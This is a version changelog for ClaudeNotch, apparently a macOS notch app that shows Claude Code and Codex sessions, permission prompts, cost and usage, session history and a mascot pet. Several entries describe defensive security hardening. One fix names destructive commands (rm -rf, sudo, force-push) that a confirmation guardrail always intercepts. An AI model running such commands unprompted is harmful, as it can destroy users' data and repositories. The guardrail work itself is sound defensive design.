July 26, 20264 added1 fixed- 1/4
ClaudeNotch works with VoiceOver.
The notch never takes focus, which is the whole point of it, but that also meant nothing ever moved the VoiceOver cursor to a card, so a blocking Allow or Deny could sit there unread while Claude waited. Cards are now announced as they appear, and resolving one speaks the outcome so you can tell Allow from Deny without looking.
- 2/4
Announcements quote the keys that actually answer the card.
When several requests are queued Return allows all of them, so it says that rather than a plain "Return allows", and a destructive or over-budget card never promises a key that does nothing.
- 3/4
Diffs read out as "removing 1 line, adding 2" with each side named, since red and green carry the whole signal on screen and none of it out loud.
Question options announce whether they are selected, meters read their values, and the pet is skipped as decoration.
- 4/4
Groundwork for translating the app.
The permission card now reads its text from a strings table, so a translation can be dropped in without touching any Swift.
- 1/1
Two controls were not merely awkward with a screen reader, they were unreachable.
Hold-to-confirm had no button role and no way to activate it, so a destructive command could only ever be denied. Resume in the history rows only appeared on hover, so it did not exist without a pointer. Both are reachable now, with no change to how either looks.
v0.8.9
July 26, 20261 added- 1/1
New "Random antics" toggle in Settings > Pet: keep the pet but stop it performing on its own when the notch is idle.
It still answers a boop and still reacts when a task finishes or fails.
v0.8.8
July 26, 20261 fixed- 1/1
Security hardening: the gate that decides which transcript files the app will read now resolves symbolic links, so a link planted inside a transcript folder can no longer redirect a read at an unrelated file.
v0.8.7
July 25, 20262 added- 1/2
Works on every Mac: MacBook Air, older MacBooks, and external displays now get a floating Dynamic-Island-style pill where a notched MacBook shows the notch.
- 2/2
Multi-display support: the notch now appears on every screen at once, so it is there whether you are on the laptop or an external monitor.
Answer prompts and drop folders from whichever screen you are looking at.
v0.8.6
July 25, 20261 fixed1 changed- 1/1
More security hardening: history CSV exports are protected against spreadsheet formula injection, the saved state file is now readable only by you, and a few extra edited-file types (configuration profiles and web-link files) are revealed in Finder instead of being launched.
- 1/1
Cleaner updates: installing a new version now quits and replaces the running copy instead of colliding with it, and a full uninstall can also clear the app's saved data.
v0.8.5
July 24, 20262 changed- 1/2
Security hardening across the app: the local hook server rejects browser-originated requests (drive-by and DNS-rebinding pages), pull-request links and edited-file paths that arrive in a hook can only ever open a web page or your editor rather than launch an app or script, and the standup's git reads are locked down against untrusted repositories.
- 2/2
Launcher scripts are written owner-only and stale ones are cleaned up instead of accumulating in the temp folder.
v0.8.4
July 24, 20262 added2 fixed1 changed- 1/2
A History page that archives every finished session with a one-line summary, cost, lines changed, files touched, and duration, searchable by project, summary, or branch.
- 2/2
A one-click "what I shipped" standup, on the History page and in the menu bar, built from your finished sessions and the day's git commits and copied straight to the clipboard.
- 1/2
Durations longer than an hour now read as hours and days instead of a runaway minute count.
- 2/2
The standup now includes projects you committed in even when no session was formally ended there.
- 1/1
A broad internal cleanup: shared helpers for terminal launching, git reading, file tailing, the clipboard, and repeated UI, so behaviour stays consistent and there is less duplicated code to drift.
v0.8.3
July 23, 20261 added2 fixed- 1/1
A Send feedback action, on the About page and in the menu bar, that opens the author's LinkedIn so you can reach out in one click.
- 1/2
Settings search now handles multi-word queries and matches across a setting's name and keywords, instead of only exact substrings.
- 2/2
The settings window centers its content, so maximizing or full-screening it no longer leaves everything hugging the left edge.
v0.8.2
July 23, 20262 added4 fixed- 1/2
Codex (beta) is much fuller.
Codex sessions now get a live context meter, resume (codex resume), start Codex in a folder, a task-progress bar from Codex's plan, the git branch, token usage on the Usage page, session previews, and a heads-up card when Codex is about to ask for approval.
- 2/2
Dropping a folder on the notch asks whether to open it in Claude Code or Codex (only when Codex is enabled; otherwise it just opens Claude).
- 1/4
The notch top card always reflects the session that is actually running, with its own model, context, cost and branch, instead of mixing values across agents.
- 2/4
The multi-session card no longer shows the running session twice or clips its text; the current session sits at the top and the others below.
- 3/4
Codex context now reads the true occupancy against the window, and no dollar figure is shown for Codex (gpt pricing is unpublished).
- 4/4
Opening a terminal from the notch no longer jumps the display to another Space, and the custom notch name can be set from Settings without the field vanishing.
v0.8.1
July 22, 20262 added1 fixed- 1/2
Per-session agent tags.
When you run more than one agent, each session row shows which CLI it is (a small CODEX or GROK chip; Claude stays untagged), so a mixed list is unambiguous.
- 2/2
Name the notch during setup, not only in Settings.
Leave it blank to use the agent's name.
- 1/1
The notch header now names the agent from the sessions actually running.
A Codex-only session reads Codex instead of Claude, and a mix of agents reads the app name rather than claiming a single wrong one.
v0.8.0
July 22, 20262 added1 changed- 1/2
Codex support (beta).
Enable it in Settings > General > Integrations, approve Codex's one-time hook-trust prompt, and your OpenAI Codex CLI sessions surface in the notch: live activity, a running-command card, session status, and a heads-up card when Codex is asking to run a risky command. It is beta, so expect rough edges.
- 2/2
The notch header now names the agent for the active session (Claude or Codex), so multiple agents are not all labelled "Claude".
- 1/1
Codex keeps its own permission prompt.
ClaudeNotch surfaces and observes Codex sessions but does not gate them, because Codex's own approval is the safe primary gate. Codex cost and resume are not wired yet.
v0.7.9
July 22, 20263 added2 fixed- 1/3
A 4-week estimated-cost trend on the Usage page, alongside the daily one.
- 2/3
Resume sessions are grouped by day (Today, Yesterday, Earlier this week, Older) inside each project.
- 3/3
A weekly digest: a once-a-week roundup of sessions and estimated cost, under the digest toggle.
- 1/2
Weekly totals now reconcile.
The week window was one day too wide, so This week, the model mix, and the project leaderboard summed an extra day the trend chart dropped; they now all cover the same seven days.
- 2/2
The context meter shows "no usage yet" before the first status line, instead of a misleading 0%.
v0.7.8
July 21, 20261 added1 changed1 fixed- 1/1
The Usage page is now a proper dashboard: a 7-day estimated-cost trend, a model-mix breakdown by cost, cache savings in dollars, and a one-click CSV export of your session history.
- 1/1
Cost figures are clearly labelled as estimates at public API prices, not your subscription bill.
On a Pro, Max, Team, or Enterprise plan you pay a flat fee, so the numbers show what the usage would cost pay-as-you-go, not money you spent.
- 1/1
A completed task list no longer leaves its full progress bar in the notch after the turn ends; it clears when you send the next message.
v0.7.7
July 21, 20264 added2 changed- 1/4
Task progress in the notch now follows your to-do list.
When Claude works through a TodoWrite checklist, the open notch card shows a done-over-total progress bar, not just the subagent task system.
- 2/4
An in-app update banner.
When a newer release is out, the General settings page shows the version with a one-click download, release notes, and a copyable Homebrew upgrade command.
- 3/4
A Spend breakdown in the menu bar: today, the last 5 hours, and this week, with a jump into the full Usage page.
- 4/4
A What's new panel on the About page showing the current release's highlights.
- 1/2
The Developer settings page opens compact, with its sample cards and pet animations tucked into collapsible sections.
- 2/2
A drag-a-folder-onto-the-notch tip on the setup screen, plus tidier onboarding copy.
v0.7.6
July 21, 20262 added1 changed- 1/2
Lines changed this session.
The Session settings page now shows how many lines the current session has added and removed, with the net, read straight from Claude Code's status line.
- 2/2
Code churn today on the Usage page: lines added, removed, and net across everything you have worked on today.
- 1/1
The cost tooltip now says whether the dollar figure is Claude Code's own reported cost or the app's estimate from the transcript, so you know which number you are looking at.
v0.7.5
July 20, 20265 added2 changed- 1/5
Plan usage limits on the Budget page.
See how close you are to your Claude plan's 5-hour and weekly limits, each as a percentage bar with a reset countdown, turning amber and then red as you approach the cap.
- 2/5
A burn-rate forecast under each limit.
From how fast you are using the window, ClaudeNotch estimates whether you are on track to hit the limit before it resets, for example "at this pace you hit the limit in about 2h".
- 3/5
A per-project spend leaderboard on the Usage page, ranking your projects by estimated spend over the last seven days.
- 4/5
Task-list progress in the notch.
When the current session is working through a multi-step task list, the open notch card shows a thin done/total progress bar.
- 5/5
Name a session.
Give any resumable session a short name so the list reads by intent instead of by its first prompt; the original prompt stays visible underneath and names persist across relaunches.
- 1/2
An unanswered permission now escalates.
Instead of a single reminder, ClaudeNotch nudges you again every few minutes (up to three times) while a prompt sits unanswered, replaying the sound and re-posting the notification.
- 2/2
Tidied the session rows: Resume is the one button, and rename, copy resume command, reveal transcript and delete now live in a single overflow menu.
v0.7.4
July 20, 20261 added1 fixed- 1/1
Keep auto-approve on until you turn it off.
Alongside the timed windows, the Session settings page now has a Keep on until I turn it off option for when you want auto-approve to stay on indefinitely, with a matching status and a Turn off now button.
- 1/1
The always-open notch now shows the same detail as it does on hover.
With keep-notch-open on, the card used to render the compact version and hid the agent and file counts, model version, effort and git branch until you moved the cursor over it. Held-open and hovered now look identical.
v0.7.3
July 19, 20265 added- 1/5
Resume a past session.
ClaudeNotch reads the sessions Claude Code keeps on disk, so if you close a terminal by accident you can pick up right where you left off. The Session settings page lists your projects, and each one expands to its recent sessions with the first prompt, how long ago it ran, and a Resume button that reopens it with claude --resume in its original folder.
- 2/5
Resume Last Session in the menu bar.
One click reopens the newest session on disk, named after its project, for the fastest recovery after an accidental close. In the notch, the session history's Resume now reopens the exact session rather than starting fresh.
- 3/5
A search box over the sessions list.
Filter by project name or by anything in a prompt, and matching projects expand so the sessions are visible without a click.
- 4/5
A preview of the last reply on each session, so you can tell sessions apart before resuming, plus a running badge on any session that is currently live in another terminal.
- 5/5
Pin the projects you return to most so they stay at the top of the list, a button to copy a session's claude --resume command for your own terminal, and a trash button that moves an old session's transcript to the Trash (recoverable) after a confirmation.
v0.7.2
July 18, 20261 fixed1 changed- 1/1
A long git branch name no longer crushes the notch.
Working on a branch like fix/some-long-feature used to squeeze the context meter and cost down to nothing; the branch is now shortened and the busy row is given room, so everything stays readable.
- 1/1
Installing is now a single line: brew install --cask rawsun007/tap/claudenotch.
The cask is served from one tap only, so there is no more tap step and no ambiguous-cask error.
v0.7.1
July 18, 20262 added- 1/2
A search box in the settings sidebar.
Type a setting's name or a keyword and it lists the matches with the page each lives on, so you can jump straight there.
- 2/2
Setup health in the General settings page.
It shows at a glance whether the Claude Code hooks and the status-line forwarder are wired, with a Fix button that reinstalls them in place if either is missing.
v0.7.0
July 18, 20263 added1 changed- 1/3
A full Settings window, opened with Option-Cmd-comma or from the menu bar.
A sidebar (Workspace, Session, Alerts & Cost, Info, Advanced) leads to pages for everything ClaudeNotch does: General, Notch, Pet, Session, Alerts, Sounds, Budget, Privacy, Usage, Developer, and About.
- 2/3
Per pop-up sounds.
With per-tool sounds on, each kind of pop-up (shell commands, edits, new files, notifications, everything else) gets its own sound, each auditionable and overridable.
- 3/3
A Usage page with a GitHub-style activity heatmap of the last seven weeks (hover a day for its tool-call count), all-time counters, top tools, and token usage with estimated cost read from Claude Code's own transcripts.
- 1/1
The menu bar is slimmed to the essentials now that everything lives in Settings: the session status, the update notice, Start Claude in a folder, Recent Projects, Settings, and Quit.
v0.6.0
July 18, 20261 fixed- 1/1
Dropping a file or folder on the notch is smooth now.
The launch no longer blocks while it finds the Claude CLI, so the dragged icon does not hang on screen, and the notch no longer flickers open a second time after you let go. It opens the drop panel, takes the drop, and closes cleanly.
v0.5.9
July 17, 20261 added- 1/1
Drop a file or folder on the notch to open Claude there.
Drag a folder over the notch and it turns into a drop panel with a dashed drop zone, blue until the file is right over it and green when it is. Let go and Claude Code opens in that folder; drop a file and it opens in the parent folder with the file already handed to Claude as an @-mention.
v0.5.8
July 17, 20261 fixed- 1/1
The branch and the touched-files count no longer vanish from the notch part-way through a long session.
When a session compacts or resumes it gets a new internal id, and the notch was losing that detail with it. It now carries across, so a long run keeps showing its branch and what it has edited.
v0.5.7
July 17, 20261 added1 fixed- 1/1
A warning before you hit a plan limit.
The notch now tells you as your 5-hour or weekly usage fills, once at 80% and once at 95%, so a lockout in the middle of a task is not a surprise. On by default, and the pet cries about it on the card so the bad news is not grim.
- 1/1
Closing a panel you opened yourself (history, the response detail, an export) returned you to the terminal even when you had opened it from a full-screen browser or chat app.
It now returns you to whatever app you were actually in.
v0.5.6
July 17, 20262 added- 1/2
An optional alert when a single tool call runs long.
Turn on "Alert on Long Tool Runs" and the notch notifies you once when one tool call passes five minutes, so a stuck agent does not sit unnoticed while you are looking elsewhere. It fires once per run, not on a loop. Off by default.
- 2/2
VoiceOver support.
The notch had no accessibility labels, which made every card invisible to blind users. Buttons now read their label and announce as buttons, a permission request reads as one sentence with any danger flagged first, and the status pill announces what Claude is doing.
v0.5.5
July 17, 20261 added- 1/1
A live run timer while a tool is working.
When Claude sits in one long tool call, the notch now ticks a count beside the command, so you can tell at a glance whether it is still working or stuck. Past a minute it warms to amber. The clock resets on each new tool call and clears the moment the turn ends, so it only ever times something that is actually running.
v0.5.4
July 16, 20262 changed- 1/2
The diagnostic log is off unless you ask for it.
It only wrote to disk to help with debugging, and there is no reason for normal use to leave a trail of session ids, working directories and costs. Launch with CLAUDENOTCH_DEBUG=1 when you actually need it.
- 2/2
Usage and cost numbers refresh far more cheaply.
The seven-day pass used to re-read and re-parse every recent transcript every thirty seconds. It now reuses the parse of any file that has not changed, so the work drops from over a second to a few milliseconds, with the same figures.
v0.5.3
July 16, 20261 changed- 1/1
Hardening from a security pass over the code.
The local hook server now caps how much it will buffer from a single request, so a misbehaving process on the same machine cannot make it read without end. The diagnostic log moved out of the shared temp folder into your own Application Support, owner-only and rotated, and the per-session cost reader will not be pointed at an oversized file. None of this changes anything you see; it just closes the doors an audit found open.
v0.5.2
July 15, 20262 fixed- 1/2
Playing the Spider-Pet twice in a row stacked two copies of the theme over each other.
It now restarts the song instead of layering it.
- 2/2
The Spider-Pet's mask lenses have a black outline now, like the real suit.
v0.5.1
July 15, 20261 added3 changed2 fixed- 1/1
A friendly neighbourhood Spider-Pet, for Brand New Day.
Turn Pet Mode on and every so often the mascot suits up, drops head-first out of the notch on a web, hangs upside-down and swings, with a theme to match. Fan build, beta, and wide open to ideas: tell us what he should do next.
- 1/3
Background agents (claude --bg) show up in the notch now, named by their task, with one-click attach, and a clear flag when one is stuck waiting on you.
- 2/3
Session cost is Claude Code's own figure rather than an estimate, and every session shows the permission mode it is running in, not just the one you are looking at.
- 3/3
Break reminders you never have to start: measured from real activity, off by default.
- 1/2
Question cards no longer clip the option text you open them to read.
- 2/2
One Claude session shows as one row, not two, and a one-off run in a temp directory is no longer listed as a project.
v0.5.0
July 14, 20262 added2 changed3 fixed- 1/2
Background agents in the notch.
Claude Code runs agents in a daemon now (claude --bg), with no terminal attached, which is exactly the situation this app exists for: work happening somewhere you are not looking. Each one shows up named by the task it was given, because a background agent has no other label, and you can attach to it in one click. An agent that is blocked waiting for you says AGENT WAITING, since it has stopped, it has no terminal to be stuck in front of, and nothing else on your machine will tell you.
- 2/2
Break reminders, measured rather than declared.
Every notch app's most-requested feature is some kind of pomodoro, and all of them make you start a timer. This one does not need you to: Claude Code's hooks say when work is actually happening, so the stretch is measured. Eight minutes away counts as the break, and after 55 minutes of real work it nudges once. Off by default.
- 1/2
The session cost is now Claude Code's own figure rather than our estimate.
Everything the app showed about money was computed from the transcript at public per-token prices; Claude Code reports the real number on its status line, in a field the notch had never read. On the session that built this release, ours said $226 and Claude Code said $217.87.
- 2/2
Every session shows the permission mode it is running in, not just the one you are looking at.
A session in another project running with permissions bypassed used to show nothing at all, and that is the one it matters most to see.
- 1/3
A session row could be labelled with a title nobody wrote.
Claude Code auto-names sessions, and the notch preferred that name over the project, so the row read "Caveman speech pattern impleme…" where the folder should have been. The project names the row again, with the session name beside it as a subtitle.
- 2/3
The context and cost appeared twice, a line apart: the header describes the current session, and the list below then drew the same bar for the same session.
- 3/3
A one-off run in a temp directory was being listed as a project, next to a repo with a fortnight of work in it.
It is real work, but it is not a project, and it will not exist tomorrow.
v0.4.0
July 14, 20263 fixed- 1/3
The notch works in full-screen apps.
Moving the cursor to it did nothing, and you had to leave full screen to reach it. The notch was not ignoring the mouse, it was behind the app: setting isFloatingPanel on the window quietly assigns its level, and it was running after the level we had chosen, so the panel had been sitting at the floating level all along, underneath ordinary windows and underneath anything in full screen.
- 2/3
The plan limits kept showing an old reading as though it were current, so the notch could say 31% while /usage said 52%.
Claude Code only reports usage while a session is redrawing its status line, so the newest reading goes quietly out of date whenever Claude is idle, and it was thrown away entirely when the app restarted. Readings now persist across a relaunch and, once one is more than five minutes old, the row says how old it is. An old number presented as a current one is worse than no number.
- 3/3
The notch title menu said "Claude" after you chose "Project name".
The submenu label was only rebuilt when you clicked one of its rows, which was invisible for the choices that do not depend on the running session, and wrong for the one that does.
v0.3.9
July 13, 20261 changed1 fixed- 1/1
The plan limits live in the history panel now, behind the clock icon.
They were in the notch itself, where there was never room for them: the collapsed notch is exactly as wide as the hardware cutout, so they truncated to "8…", and in the hover card they turned a two-line pill you glance at into a dashboard you have to read. The history panel is the screen you open when you actually want numbers, and it is wide enough to print them in full, reset countdowns and all.
- 1/1
A limit whose window had already reset kept showing its old percentage, so the notch could sit there reading "0% · now" as if it were a fact.
Claude Code only reports usage when it redraws, so a reading can outlive the window it was measured in. Once the reset instant has passed, the reading shows as unknown until a real one replaces it.
v0.3.8
July 13, 20262 fixed- 1/2
Opening the notch hid the rate limits.
They live in the collapsed notch's status row, and expanding the notch replaced that row, so the one question you open the notch to answer (how much have I got left, and when does it come back) was the one thing you could not see. The limits now stay when the notch is open, and because the expanded card is wide enough, they print their reset countdowns instead of hiding them in a tooltip.
- 2/2
The pet faded out on its way back into the notch, so it dissolved in mid-air rather than climbing home, which was worst on the rope where the whole point is a creature hanging in space.
It is solid the whole way now. The fade was never doing anything: the retract already carries the pet up behind the hardware cutout, which hides it better than any amount of transparency.
v0.3.7
July 13, 20264 added2 changed1 fixed- 1/4
The pet works while Claude works.
It used to tuck itself into the notch for the entire length of a tool run, which meant it hid exactly when there was something to watch. Now it comes out and keeps the job company: pacing, bobbing, tracking your cursor. It still never performs over a card you are reading.
- 2/4
The pet flinches when something goes wrong.
A turn that dies (rate limit, overloaded, billing) or a command you deny startles it: arms up, a fast recoil, then a wary look at whatever just happened. It was a mascot for good news only.
- 3/4
The rate limits show when they reset, not just how full they are.
"82%" tells you that you are in trouble but not whether you can wait it out, so the notch now reads "82% · 1h 12m", with the exact reset time in the tooltip.
- 4/4
The open pull request for the session's branch shows as a badge you can click, tinted by its review state.
Claude Code resolves it, so nothing shells out to gh.
- 1/2
Sessions are named the way you named them.
A session renamed with /rename shows that name rather than its folder, and a session in a git worktree shows which worktree, which is the thing that actually tells two sessions in one repo apart.
- 2/2
The effort shown is the effort the session is actually running on.
It used to be read out of settings.json, which only describes what a new session would start at, so changing effort mid-session left the notch showing the old value.
- 1/1
The notch panel is created in the right place instead of being created at the corner of the screen and moved.
It was briefly a card-shaped window in the bottom-left on every single launch.
v0.3.6
July 12, 20261 fixed- 1/1
A second, fake notch could appear next to the real one, showing the status bars that are meant to stay hidden behind the hardware cutout.
The panel only repositioned itself when a card opened, so anything that moved the screen under it (a Space switch, a resolution change, a display sleeping and waking, plugging in a monitor) left it at a stale position. Since the collapsed notch hides by sitting exactly over the cutout, being off by any amount made it visible. It now re-pins whenever the screen or Space changes, and checks its own position periodically as a backstop.
v0.3.5
July 12, 20261 changed3 fixed- 1/1
The context window is no longer guessed.
Claude Code reports the real window size to its status line command, and ClaudeNotch already receives that payload, so it now uses that number rather than working it out from the model name. It is remembered per model, so a new session starts with the truth instead of an inference. Forcing 200k or 1M by hand still overrides everything.
- 1/3
A 1M-window session was being measured against 200k.
Opus 4.8 ships the million-token window, but the app inferred window size from a hardcoded list of model names that Opus 4.8 was not on, so a context 16% full was drawn as 81% full with the bar in the red. Beyond taking the real number from Claude Code, the fallback now reads the model's version instead of matching names, so the next model does not reintroduce the same bug.
- 2/3
The context reading was truncating to "161k / 2…", hiding the one number that gives the other one meaning.
It holds its width now, and a million-token window reads as "1M".
- 3/3
The notch showed a branch icon followed by "m".
That was "main", squeezed down to a single letter. Long branch names are shortened from the middle now, and short ones are left alone.
v0.3.4
July 12, 20265 fixed- 1/5
Every cost the app showed was inflated, often close to double.
Claude Code does not write one transcript line per response, it writes one line per content block, so a turn that thinks, then talks, then calls a tool lands as three lines that all repeat the same usage. All three were being billed. A turn is now charged once. If your numbers drop by half after updating, the new ones are the real ones.
- 2/5
The Projects tab could show one figure on a project's card and a completely different one in the seven-day header directly above it.
The card was adding up costs stored on the app's own session records, most of which are zero. Both figures now come from the transcripts, over the same seven days, so the rows add up to the header.
- 3/5
The seven-day chart showed one tall bar today and six flat ones, for a week that was not flat.
It was drawn from session records, which only exist for sessions the app was running for, so everything else charted as zero. It now reads real per-day spend.
- 4/5
Sessions in the history read as seconds for work that took an afternoon.
Claude Code's Stop hook fires at the end of every turn, not at the end of the session, and the history froze each row on the first one. A row now spans the whole session.
- 5/5
The history filled with one-second sessions named after folders that do not exist.
Every hook carries a working directory, so any stray hook became a "session". A session now needs Claude to have actually done something in it: spent tokens, cost money, or touched a file. Rows already saved under the old rule are swept on launch.
v0.3.3
July 12, 20262 added1 changed2 fixed- 1/2
The pet dangles out of the notch on a rope, and the rope is simulated rather than animated.
It hops off the lip, falls under gravity while the rope pays its slack out, and when the rope goes taut its velocity splits: the part along the rope is absorbed by the rope's stretch, and the part across it becomes the swing. So it swings because it was still moving sideways when the rope caught it, not because anything told it to. After that it hangs as an elastic pendulum, swinging at the period its rope length and gravity give it and bleeding the energy off.
- 2/2
The pet celebrates on the task-complete card with a four-beat dance, and flinches on the destructive-command card.
- 1/1
The pet moves on real springs.
Its drop out of the notch is the step response of a damped spring, and its squash and stretch comes straight off that spring's velocity, so it thins out as it dives and goes wide when it lands.
- 1/2
Session cost was lower than it should have been on any session where Claude used subagents.
Subagent turns were being skipped by the per-session meter but counted in the project totals, so the two numbers disagreed. Subagent spend is now counted in both.
- 2/2
Session timestamps stop counting hours forever.
An old session showed "312h ago"; it now reads "13d ago", and past a week it shows the date.
v0.3.2
July 10, 20261 changed- 1/1
The orange EDITS badge is gone from the notch.
Auto-accepting file edits is a normal way to work rather than something you need warning about, and the badge sat there permanently for anyone who works that way. BYPASS, PLAN, AUTO and DON'T ASK stay, since those flag modes where Claude is doing something you might not expect.
v0.3.1
July 10, 20261 fixed2 changed1 added- 1/1
The notch could get stuck showing "Thinking" forever after Claude finished a turn that started a background command (a Bash with run_in_background).
Claude Code's hooks are not ordered, so that tool's completion hook arrives a second or two after the turn has already ended, and it was flipping the finished session back to a pulsing state that nothing was ever going to clear. A finished turn is now ignored by late hooks until real new work starts.
- 1/2
The pet is far calmer.
It was on screen about a quarter of every idle minute, which is charming for ten minutes and maddening for an afternoon. Every activity now buys a silence proportional to its own length, so a long nap earns a long absence. It is now visible around 3% of an idle hour.
- 2/2
The pet is drawn from its pixel grid rather than as a flat image, so it has moving parts: it walks on four legs in diagonal pairs, swings its arms, blinks, watches your cursor, shuts its eyes to sleep, grips the notch with both arms when hanging, and tucks its limbs in to backflip.
- 1/1
Demos > Pet plays any pet activity on demand without closing the menu, so you can watch the rare ones (like the nap) without waiting for them.
v0.3.0
July 10, 20265 added- 1/5
Pet Mode: the Claude mascot lives in your notch.
While nothing is happening it peeks out, looks around, hangs off a corner, strolls along the edge, and curls up for a nap after five quiet minutes. When a task finishes, it hops with sparkles.
- 2/5
The pet is interactive.
It watches your cursor and turns to face it, holds still to be petted while you rest the pointer on it, and boops when you click it. Boop it five times in a row and it backflips.
- 3/5
The notch icon now breathes at the pace of whatever Claude is doing, so a glance tells you it is thinking, running a tool, or idle before you have read the status text.
- 4/5
Pet Mode is on by default, respects the system Reduce Motion setting, never appears over an active session or a card you are reading, and can be switched off from the menu bar.
- 5/5
Demos > Pet plays any pet activity on demand, without closing the menu, so you can watch the rare ones (like the nap) without waiting for them.
v0.2.61
July 9, 20262 fixed- 1/2
The hover-expanded idle card used a fixed width, which left a big empty gap on a sparse session (no model/branch/cost detected yet) and could still truncate a busy one.
The card now measures its actual content and sizes itself to that.
- 2/2
Model name could get squeezed down to just "…" when the card was near its width limit.
It now holds its own space like the rest of the row.
v0.2.60
July 9, 20261 changed1 fixed- 1/1
The idle notch card was showing everything at once (agent count, file count, model version, effort, git branch, context %, cost) and it got cramped, especially with persistent notch display on.
Secondary detail is now hidden until you actually hover over the card; name, status, model, context %, and cost stay visible at all times.
- 1/1
Context % and cost could get squeezed down to unreadable fragments like "8…" and "$…" once the hover-revealed detail filled the row.
They're now the highest layout priority in the row and the hover card is wider, so nothing gets truncated.
v0.2.59
July 6, 20261 fixed- 1/1
Permission cards could go dead if you took more than 30 seconds to respond: Claude Code would give up and print its own yes/no prompt in the terminal, and answering the notch card afterward (even with Touch ID) silently did nothing.
The hook timeout now matches how long the app actually waits for you, so a card stays live for the same window it visually promises.
v0.2.58
July 6, 20261 fixed1 changed- 1/1
Always-Allow rules could silently approve a dangerous command (rm -rf, sudo, force-push) with no Touch ID or hold-to-confirm.
Dangerous commands now always show the guardrail card, even when a matching rule exists.
- 1/1
Always-Allow Rules in the menu bar is now a submenu listing every rule individually, each removable on its own, instead of only an all-or-nothing Clear.
v0.2.57
July 3, 20263 added- 1/3
Reply from the notification: completion banners now have a Reply action with an inline text field.
Type a follow-up and Send, and it lands in the terminal that ran the session, or a fresh terminal opens in the project folder with your message as the first prompt.
- 2/3
Git branch per session: the checked-out branch (read from .git/HEAD, worktrees included) shows next to the model in the header and beside each project in multi-session rows.
- 3/3
Today's spend in the menu bar: optional live readout next to the icon, e.g.
"2 · $1.24", showing working sessions plus today's estimated cost. Toggle: Show Today's Spend in Menu Bar (off by default).
v0.2.56
July 3, 20263 added- 1/3
Privacy: the notch is now invisible in screen shares, recordings, and other apps' screenshots, since it renders commands, file paths, and code that don't belong in a Zoom call.
You still see it live; viewers don't. Toggle: Hide from Screen Recordings (on by default).
- 2/3
Waiting-on-you timer: permission cards show "waiting 2m" once they pass a minute, multi-session rows get an orange elapsed chip for unanswered prompts, and after 3 minutes the alert sound replays once and the notification re-posts.
One nudge per request, never a nag loop.
- 3/3
Files touched: every file Claude edits is tracked per session.
The notch shows an "N files" chip, and a Files Touched menu lists them newest-first, so you can click to open in your editor, or Reveal All in Finder.
v0.2.55
July 3, 20263 added1 changed- 1/3
API failure alerts: when a session dies from a rate limit, server overload, billing error, or auth failure (Claude Code's StopFailure hook), the notch shows a red alert card with the reason and mirrors a banner to Notification Center.
Long tasks no longer die silently while you're away.
- 2/3
Permission-mode badge: sessions running in non-default modes get a colored badge in the notch header: red BYPASS for --dangerously-skip-permissions, blue PLAN, orange EDITS / DON'T ASK, teal AUTO.
- 3/3
Sessions appear instantly: the SessionStart hook is now wired, so a session shows in the notch the moment it opens (with the correct model name from the first second) instead of after the first tool call.
Session titles are shown in multi-session rows when set.
- 1/1
Existing installs are auto-migrated to the new hook events on next launch, with no manual reinstall needed.
v0.2.54
July 3, 20264 added- 1/4
Copy button on the last-reply detail card: one click (or ⌘C while the card is open) copies Claude's full reply to the clipboard, with a brief "Copied" confirmation.
- 2/4
Resume buttons in history: hovering a session or project row reveals a green Resume button that opens a new terminal in that directory and launches Claude.
- 3/4
Session history export: the Sessions tab now has an Export button that saves all recorded sessions (times, project, duration, tokens, cost, tool calls, model) as CSV or JSON.
- 4/4
7-day spend trend on the Projects tab: a compact sparkline of daily cost with the trailing-week total and session count.
v0.2.53
July 2, 20262 added- 1/2
Daily spend digest: on first launch each day, if yesterday had sessions, ClaudeNotch can send a notification showing yesterday's total cost, session count, and top project (e.g.
"Yesterday: $2.40 · 5 sessions · top: my-app"). Enable it via the new Daily Spend Digest toggle in the Permissions submenu. Off by default.
- 2/2
The Insights menu digest row now shows cost and session count from session history, in addition to tool counts.
v0.2.52
June 30, 20261 added- 1/1
Completion notifications now have their own toggle (Notify When Claude Finishes) in the Permissions submenu, independent of the permission-prompt mirror.
Off by default, so opt in when you want banners on task completion.
v0.2.51
June 29, 20262 fixed- 1/2
Model name now updates correctly when the status line arrives without a context percentage (common early in a session or on plan-only updates).
Previously the model string was silently dropped in that case.
- 2/2
Switching to a fresh session no longer clears the displayed model name.
The notch now retains the last known model until the new session reports its own.
v0.2.50
June 29, 20262 added- 1/2
Global keyboard shortcut: press ⌘⌥Space from any app to toggle the history panel open or closed, with no need to click the notch or menu bar.
- 2/2
Native completion notifications: when Claude finishes a task and you are in another app, a macOS banner notification fires with the project name and response snippet.
Controlled by the existing Mirror to Notification Center toggle.
v0.2.49
June 26, 20261 added- 1/1
Projects tab in the history panel: session history is now grouped by project, showing each project's total sessions, time spent, tokens consumed, cost, and tool calls.
A relative cost bar lets you compare projects at a glance. The history drawer now has three tabs: Sessions, Projects, and Events.
v0.2.48
June 25, 20261 added- 1/1
Menu bar badge: a live session count now appears next to the menu bar icon whenever one or more Claude sessions are actively working.
The number disappears when all sessions are idle, so a non-zero count means Claude is running right now, visible without opening the notch.
v0.2.47
June 25, 20261 added- 1/1
Session history panel: the history drawer now opens to a Sessions tab showing a summary of every completed Claude Code session: project name, when it ran, duration, token count, cost, and number of tool calls.
Sessions are archived on Stop/SessionEnd/stale timeout and persist across app restarts. The existing per-tool-call event log is still available on the Events tab.
v0.2.46
June 25, 20261 added- 1/1
The context bar in the expanded notch now shows actual token counts (e.g.
"45k / 200k") instead of just a percentage. The bar color warms from blue to orange to red as the window fills, and the running session cost appears alongside it. Multi-session rows get the same upgrade.
v0.2.45
June 24, 20261 fixed- 1/1
The "N agents" badge now appears in single-session mode.
Previously it only showed in the multi-session list view, so if you had one project open the badge was invisible even while subagents were running.
v0.2.44
June 24, 20261 fixed- 1/1
The subagent indicator now stays visible while agents are running.
A purple "N agents" badge appears next to the project name and is tracked as a counter on the session, so it survives tool-activity label updates that would otherwise overwrite it immediately.
v0.2.43
June 24, 20261 added- 1/1
The notch now shows when Claude spawns a subagent.
While an agent is running you'll see its type in the activity strip (e.g. "Agent: Explore"). When it finishes the session goes back to its normal thinking state instead of showing a spurious "Claude finished" notification for each agent.
v0.2.42
June 23, 20261 fixed- 1/1
Session rows now show the current working directory accurately.
When Claude changes directory during a session (cd, worktree switch, etc.) the project label in the notch updates to match. Previously it kept the original directory for the whole session.
v0.2.41
June 23, 20261 changed- 1/1
Hooks now use Claude Code's native HTTP hook type instead of shell scripts.
Claude Code posts events directly to the running app over localhost, so there are no shell scripts to trust and no jq dependency at runtime. Re-run Setup in the app or install-hooks.sh to migrate; existing command-hook installations continue to work.
v0.2.40
June 16, 20261 fixed- 1/1
